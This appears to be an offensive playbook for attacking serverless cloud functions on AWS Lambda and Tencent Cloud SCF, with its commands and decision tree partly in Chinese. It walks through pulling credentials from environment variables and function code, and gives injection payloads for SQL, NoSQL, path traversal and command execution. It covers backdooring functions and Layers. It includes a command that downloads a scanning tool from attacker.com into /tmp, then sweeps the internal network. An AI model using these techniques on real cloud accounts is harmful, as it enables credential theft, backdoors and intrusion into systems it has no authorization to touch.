serverless-attack

Serverless/cloud function attack methodology

Serverless functions run in short-lived containers, so traditional persistence and lateral movement approaches do not apply. The attack focus is: event injection (input tampering), credential extraction (environment variables/temporary tokens), code injection (modifying function code).

Consult detailed commands by cloud platform

After identifying the cloud platform, load the corresponding reference to get the complete commands:

AWS Lambda → references/lambda-techniques.md
Tencent Cloud SCF → references/scf-techniques.md

Phase 0: General information gathering

Regardless of the cloud platform, the first step is to enumerate the function list and obtain function details (code + configuration + environment variables). For specific commands, see the corresponding reference.

Phase 1: Environment variable extraction (the fastest way to obtain credentials)

Developers often hardcode database passwords, API Keys, and credentials for other services in environment variables. Common sensitive variable names:

DB_PASSWORD, DATABASE_URL, MONGODB_URI
AWS_ACCESS_KEY_ID(nested credentials),TENCENTCLOUD_SECRET_ID
SECRET_KEY, JWT_SECRET, API_KEY
REDIS_URL, SMTP_PASSWORD

Phase 2: Function code analysis

# 搜索硬编码凭据
grep -rn "password\|secret\|key\|token\|credential" lambda_code/

# 搜索不安全的输入处理
grep -rn "eval\|exec\|os.system\|subprocess\|pickle\|yaml.load" lambda_code/

# 搜索 SQL 拼接
grep -rn "format\|f'\|%s.*query\|execute" lambda_code/

# 检查依赖版本
cat lambda_code/requirements.txt  # Python
cat lambda_code/package.json      # Node.js

Phase 3: Event injection

Serverless functions are triggered through "events", and the event data is the input—if the function does not properly validate the event data, injection is possible.

3.1 API Gateway → Lambda/SCF injection

API Gateway encapsulates HTTP requests as events and passes them to the function:

{
  "httpMethod": "POST",
  "path": "/api/query",
  "queryStringParameters": {"id": "1' OR '1'='1"},
  "body": "{\"username\": {\"$ne\": \"\"}}",
  "headers": {"X-Forwarded-For": "127.0.0.1"}
}

Common injection points:

queryStringParameters → SQL/NoSQL injection
body → deserialization/command injection
headers → SSRF/log injection
pathParameters → path traversal

3.2 OSS/COS/S3 trigger injection

Object storage triggers pass file information as events:

{
  "Records": [{
    "s3": {
      "bucket": {"name": "my-bucket"},
      "object": {"key": "../../../etc/passwd"}
    }
  }]
}

If the function uses event['key'] to concatenate file paths for open() → path traversal. If the function processes the content of uploaded files (such as XML/images/CSV) → XXE/SSRF/command injection.

3.3 Message queue triggers

SQS/CMQ/Kafka messages are passed in as events:

{"Records": [{"body": "'; import os; os.system('id'); '"}]}

Phase 4: Code injection/overwrite

Requires UpdateFunctionCode permission. For specific commands, see the corresponding cloud platform reference.

Core idea: replace the function with malicious code so that the function both performs its original functionality and plants a backdoor (such as accepting a cmd parameter to execute commands).

Layer hijacking (specific to AWS Lambda)

Lambda Layers are shared code libraries, and modifying a Layer can affect all functions that use it. See references/lambda-techniques.md。

Phase 5: Runtime environment exploitation

/tmp directory exploitation

The /tmp of a Serverless function is the only writable directory, and it is retained during "warm starts":

# 写入工具到 /tmp
curl -o /tmp/fscan http://attacker.com/fscan && chmod +x /tmp/fscan

# 如果函数有内网访问权限（VPC 中），可以用 /tmp 的工具做内网扫描
/tmp/fscan -h 172.16.0.0/16 -p 22,3306,6379

Decision tree

发现 Serverless 函数
├── 识别云平台 → 加载对应 reference（lambda-techniques / scf-techniques）
├── 有 GetFunction 权限 → 下载代码 → 审计 → 找漏洞/凭据
├── 有 GetFunctionConfiguration 权限 → 读环境变量 → 提取凭据
├── 有 UpdateFunctionCode 权限 → 注入后门 → RCE
├── 有 Invoke 权限 → 构造恶意事件 → 事件注入
├── 只有 API Gateway 入口 → HTTP 请求层注入（SQLi/NoSQL/SSRF）
└── 无直接权限 → 通过 S3/COS 触发器上传恶意文件